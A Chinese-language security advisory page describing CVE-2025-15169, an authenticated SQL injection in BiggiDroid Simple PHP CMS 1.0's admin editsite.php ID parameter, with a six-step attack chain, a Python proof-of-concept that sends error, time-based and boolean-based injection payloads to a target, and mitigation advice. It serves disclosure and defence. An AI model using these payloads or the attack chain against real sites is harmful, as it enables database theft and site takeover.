IPBUF安全漏洞报告
English
CVE-2025-15169 CVSS 4.7 中危

CVE-2025-15169 BiggiDroid Simple PHP CMS SQL注入漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15169
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
BiggiDroid Simple PHP CMS 1.0

相关标签

SQL注入BiggiDroid Simple PHP CMSCVE-2025-15169管理后台漏洞认证后漏洞PHP漏洞Web应用安全数据库注入

漏洞概述

CVE-2025-15169是BiggiDroid Simple PHP CMS 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于管理后台的/admin/editsite.php文件中,攻击者可以通过操纵ID参数实现SQL注入攻击。由于该漏洞需要高权限认证才能利用,因此攻击难度相对较高,但仍对系统安全构成严重威胁。攻击者成功利用此漏洞可获取数据库中的敏感信息,包括用户凭证、业务数据等,甚至可能在特定条件下实现系统远程代码执行。该漏洞已于2025年12月29日公开披露,漏洞利用代码已在互联网上公开,厂商在收到安全通知后未做出任何回应。由于该CMS系统通常用于企业网站和小型业务系统,漏洞的广泛传播可能对大量使用该系统的网站造成严重影响。建议所有使用该产品的用户立即采取防护措施,并关注厂商的后续更新。

技术细节

该SQL注入漏洞位于BiggiDroid Simple PHP CMS 1.0的管理后台文件/admin/editsite.php中。漏洞根源在于该文件对用户输入的ID参数未进行充分的输入验证和SQL语句参数化处理。攻击者可以通过构造恶意的SQL语句片段,绕过前端的简单过滤机制,实现联合查询注入、时间盲注或布尔盲注等攻击方式。具体来说,攻击者需要在已登录高权限管理员账号的前提下,访问/admin/editsite.php页面并对ID参数进行SQL注入载荷测试。由于该参数直接拼接到SQL查询语句中,恶意SQL代码将被数据库服务器执行。攻击者可以利用UNION SELECT语句提取数据库版本、当前用户、数据库名称等信息,进一步通过information_schema表获取所有数据库表结构和敏感数据。在时间盲注场景下,攻击者可通过SLEEP()函数配合条件判断来推断数据库内容。该漏洞的CVSS 3.1评分为4.7,属于中危级别,主要因为需要高权限认证这一限制条件降低了实际利用风险。

攻击链分析

STEP 1
1. 信息收集
攻击者首先识别目标网站是否使用BiggiDroid Simple PHP CMS 1.0版本,通常通过分析页面特征、HTML源码或robots.txt文件进行判断
STEP 2
2. 获取管理员权限
通过暴力破解、社工攻击或其他漏洞获取该CMS的管理后台登录凭证。由于漏洞需要高权限认证,攻击者必须先获得管理员账号
STEP 3
3. 访问漏洞页面
使用获取的管理员凭证登录管理后台,访问/admin/editsite.php页面,该页面用于编辑站点配置信息
STEP 4
4. 构造恶意载荷
在ID参数中注入SQL注入载荷,如使用UNION SELECT语句获取数据库信息,或使用时间盲注技术SLEEP()函数进行数据推断
STEP 5
5. 提取敏感数据
成功注入后,攻击者可通过构造不同的SQL查询语句,逐步提取数据库中的用户表、密码哈希、管理员凭证等敏感信息
STEP 6
6. 持久化控制
获取数据库访问权限后,攻击者可创建后门账户、修改现有用户权限或在数据库中植入恶意代码,实现对网站的持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15169 SQL Injection PoC for BiggiDroid Simple PHP CMS 1.0 # Target: /admin/editsite.php # Parameter: ID def test_sql_injection(target_url, cookie): """ Test for SQL injection vulnerability in BiggiDroid Simple PHP CMS Requires admin authentication cookie """ # Basic test - simple quote to trigger SQL error payload_error = "'" # Time-based blind SQL injection using SLEEP() # Replace 5 with higher value for testing payload_time = "' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" # Boolean-based blind SQL injection payload_boolean = "' AND 1=1 AND '1'='1" payload_boolean_false = "' AND 1=2 AND '1'='1" headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Testing target: {target_url}") print("[*] Testing basic SQL injection...") # Test 1: Error-based injection test_url = f"{target_url}/admin/editsite.php?id={payload_error}" try: resp = requests.get(test_url, headers=headers, timeout=10) if 'sql' in resp.text.lower() or 'error' in resp.text.lower(): print("[+] Potential SQL injection detected (error-based)") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Test 2: Time-based blind injection print("[*] Testing time-based blind SQL injection...") test_url = f"{target_url}/admin/editsite.php?id=1{payload_time}" try: resp = requests.get(test_url, headers=headers, timeout=15) print("[+] Time-based test completed") except requests.exceptions.Timeout: print("[+] Time-based SQL injection confirmed (request timed out)") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Test 3: Boolean-based blind injection print("[*] Testing boolean-based blind SQL injection...") test_url_true = f"{target_url}/admin/editsite.php?id=1{payload_boolean}" test_url_false = f"{target_url}/admin/editsite.php?id=1{payload_boolean_false}" try: resp_true = requests.get(test_url_true, headers=headers, timeout=10) resp_false = requests.get(test_url_false, headers=headers, timeout=10) # Compare response lengths or content if len(resp_true.text) != len(resp_false.text): print("[+] Boolean-based SQL injection detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] PoC testing completed") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'PHPSESSID=abc123'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] test_sql_injection(target, cookie)

影响范围

BiggiDroid Simple PHP CMS 1.0

防御指南

临时缓解措施
由于厂商尚未提供官方修复补丁,建议立即采取以下临时缓解措施:首先,对/admin/editsite.php页面实施访问控制,限制只有可信的IP地址才能访问管理后台;其次,在Web应用层实现输入过滤机制,对ID参数中的单引号、分号、UNION等SQL关键字进行过滤或转义;第三,启用数据库操作日志审计,监控异常查询行为;第四,建议使用成熟的PHP框架重写该功能模块,采用PDO等支持参数化查询的方式处理数据库操作;最后,考虑部署独立的入侵检测系统,对管理后台的访问进行实时监控和告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表